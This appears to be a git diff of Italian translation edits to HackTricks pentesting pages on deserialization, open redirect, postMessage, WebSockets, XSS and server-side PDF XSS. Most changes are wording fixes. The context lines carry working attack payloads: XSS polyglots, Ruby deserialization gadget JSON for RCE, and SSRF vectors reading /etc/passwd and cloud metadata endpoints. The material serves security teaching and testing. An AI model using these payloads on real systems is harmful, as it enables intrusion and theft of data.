[JMET](https://github.com/matthiaskaiser/jmet) è stato creato per ### Riferimenti -- Talk di JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) +- Talk su JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slide: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net @@ -649,16 +649,16 @@ Se vuoi sapere **come ysoserial.net crea il suo exploit** puoi [**controllare qu Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.** -- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che sarà abusata durante la deserializzazione per eseguire comandi). +- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che verrà abusata durante la deserializzazione per eseguire comandi). - **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo) -- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._ +- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._ - **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState #### Altri parametri di ysoserial.net - `--minify` fornirà un **payload più piccolo** (se possibile) - `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (`Json.Net` in questo caso) -- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter contenenti "xml" (case insensitive) +- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà i formatter contenenti "xml" (case insensitive) **Esempi di ysoserial** per creare exploit: ```bash @@ -694,7 +694,7 @@ Debugging.ShowErrors(inputArgs, err); } } ``` -Questo significa che per testare l'exploit il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) +Questo significa che per testare l'exploit, il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) ```java public static object JsonNet_deserialize(string str) { @@ -728,7 +728,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net: ### **Riferimenti** -- Documento sulla deserializzazione JSON in Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) @@ -819,7 +819,7 @@ Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rail ### Metodo Ruby .send() -Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro. +Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di qualche utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro. Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario: ```ruby @@ -864,7 +864,7 @@ Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/ Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente): -
LibreriaDati di inputMetodo di avvio all'interno della classe
Marshal (Ruby)Binario_load
OjJSONhash (la classe deve essere inserita in hash(mappa) come chiave)
OxXMLhash (la classe deve essere inserita in hash(mappa) come chiave)
Psych (Ruby)YAMLhash (la classe deve essere inserita in hash(mappa) come chiave)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))
+
LibreriaDati di inputMetodo di avvio all'interno della classe
Marshal (Ruby)Binario_load
OjJSONhash (la classe deve essere inserita in hash(mappa) come chiave)
OxXMLhash (la classe deve essere inserita in hash(mappa) come chiave)
Psych (Ruby)YAMLhash (la classe deve essere inserita in hash(mappa) come chiave)
init_with
JSON (Ruby)JSONjson_create ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))
Esempio base: ```ruby @@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il che è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate. +Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il quale è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate. ```json { "^o": "URI::HTTP", @@ -900,7 +900,7 @@ Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadg "password": "anypw" } ``` -Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un completo RCE con qualcosa come: +Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come: ```json { "^o": "Gem::Resolver::SpecSpecification", diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index abd41c47a..30f60ca2d 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 ";alert(0);// ``` ## Open Redirect caricamento di file svg -```markup +```html

THIS IS AND INJECTED TITLE

``` ## [File Inclusion/Path Traversal](../file-inclusion/index.html) @@ -130,14 +130,14 @@ javascript:alert(1) ## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) ### Test di base -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ### Polyglotti -```markup +```html x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) @@ -147,7 +147,7 @@ Gli stessi test utilizzati per Open Redirect possono essere utilizzati qui. ## [Server Side Template Injection](../ssti-server-side-template-injection/index.html) ### Test di base -```markup +```html ${{<%[%'"}}%\ {{7*7}} ${7*7} @@ -162,24 +162,24 @@ ${{7*7}} ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### Test di base -```markup +```html ``` ### Polyglotti -```markup +```html ``` ## XSS ### Test di base -```markup +```html " onclick=alert() a=" '"> javascript:alert() ``` ### Polyglotti -```markup +```html javascript:"/*'/*`/*--> -->'"/>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 848010b87..49026c1c3 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -33,14 +33,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500'); win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\ -Nello **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\ +Nel **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\ Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window. ### Attacco a iframe e carattere jolly in **targetOrigin** Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leakare** il **messaggio sensibile** a un dominio controllato da te.\ Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**. -```markup +```html \\", result.message // "'"<b>\" ``` -- Bypassando l'escape: +- Bypassare l'escape: ```javascript result = u(new Error("'\"\\")) @@ -124,9 +124,9 @@ Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttab - La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre. -### bypass di e.origin == window.origin +### e.origin == window.origin bypass -Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di **attributi sandbox** e delle loro implicazioni sulla sicurezza e sulla funzionalità. +Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e funzionalità. Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe. @@ -138,7 +138,7 @@ Per ulteriori informazioni **leggi**: bypassing-sop-with-iframes-1.md {{#endref}} -### Bypass di e.source +### Bypassare e.source È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina): ```javascript @@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\ In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa: -```markup +```html @@ -136,7 +136,7 @@ sudo python3 -m http.server 80 ``` ## Condizioni di gara -Le condizioni di gara nei WebSocket sono anche un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets). +Le condizioni di gara nei WebSocket sono un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets). ## Altre vulnerabilità diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 47b0f2328..dced2fd45 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,7 +2,7 @@ ## Metodologia -1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**. +1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**. 2. **Trova il contesto** in cui è riflesso/utilizzato. 3. Se **riflesso** 1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload: @@ -12,14 +12,14 @@ 3. Puoi bypassare le protezioni? 4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? -2. Dentro un **tag HTML**: +2. All'interno di un **tag HTML**: 1. Puoi uscire nel contesto HTML grezzo? 2. Puoi creare nuovi eventi/attributi per eseguire codice JS? 3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS? 4. Puoi bypassare le protezioni? -3. Dentro **codice JavaScript**: -1. Puoi scappare dal tag ``** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**: - Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `` iniettato è all'interno del codice HTML. -- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito): -- `'-alert(1)-'` -- `';-alert(1)//` -- `\';alert(1)//` -- Se riflesso all'interno di template literals puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **La codifica Unicode** funziona per scrivere **codice javascript valido**: +- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** ```javascript alert(1) alert(1) @@ -132,7 +127,7 @@ dom-xss.md ### **Universal XSS** -Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\ +Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\ Alcuni **esempi**: {{#ref}} @@ -226,7 +221,7 @@ onerror=alert`1` //Use more than one < ``` -### Regex - Accesso ai Contenuti Nascosti +### Regex - Access Hidden Content Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso: ```javascript @@ -1543,7 +1536,7 @@ Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gma ### XSS caricamento file (svg) Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): -```markup +```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 @@ -1561,13 +1554,13 @@ alert(1); -----------------------------232181429808-- ``` -```markup +```html ``` -```markup +```html diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index a94278220..06305d4c9 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -21,7 +21,7 @@ Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaric ## Payloads ### Discovery -```markup +```html @@ -36,7 +36,7 @@ Inoltre, nota che in una regolare sfruttamento sarai **in grado di vedere/scaric ### SVG Qualsiasi dei payload precedenti o seguenti può essere utilizzato all'interno di questo payload SVG. Un iframe che accede al sottodominio Burpcollab e un altro che accede all'endpoint dei metadati sono forniti come esempi. -```markup +```html @@ -63,7 +63,7 @@ alert(1); Puoi trovare molti **altri payload SVG** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ### Rivelazione del percorso -```markup +```html @@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing --> ### Carica uno script esterno Il modo migliore per sfruttare questa vulnerabilità è abusare della vulnerabilità per far caricare al bot uno script che controlli localmente. In questo modo, sarai in grado di modificare il payload localmente e far caricare al bot lo stesso codice ogni volta. -```markup +```html ')"/> ``` @@ -82,7 +82,7 @@ Il modo migliore per sfruttare questa vulnerabilità è abusare della vulnerabil > Cambia `file:///etc/passwd` con `http://169.254.169.254/latest/user-data` per esempio per **cercare di accedere a una pagina web esterna (SSRF)**. > > Se SSRF è consentito, ma **non puoi raggiungere** un dominio o un IP interessante, [controlla questa pagina per potenziali bypass](../ssrf-server-side-request-forgery/url-format-bypass.md). -```markup +```html ``` -```markup +```html ``` -```markup +```html @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### Ritardo del bot -```markup +```html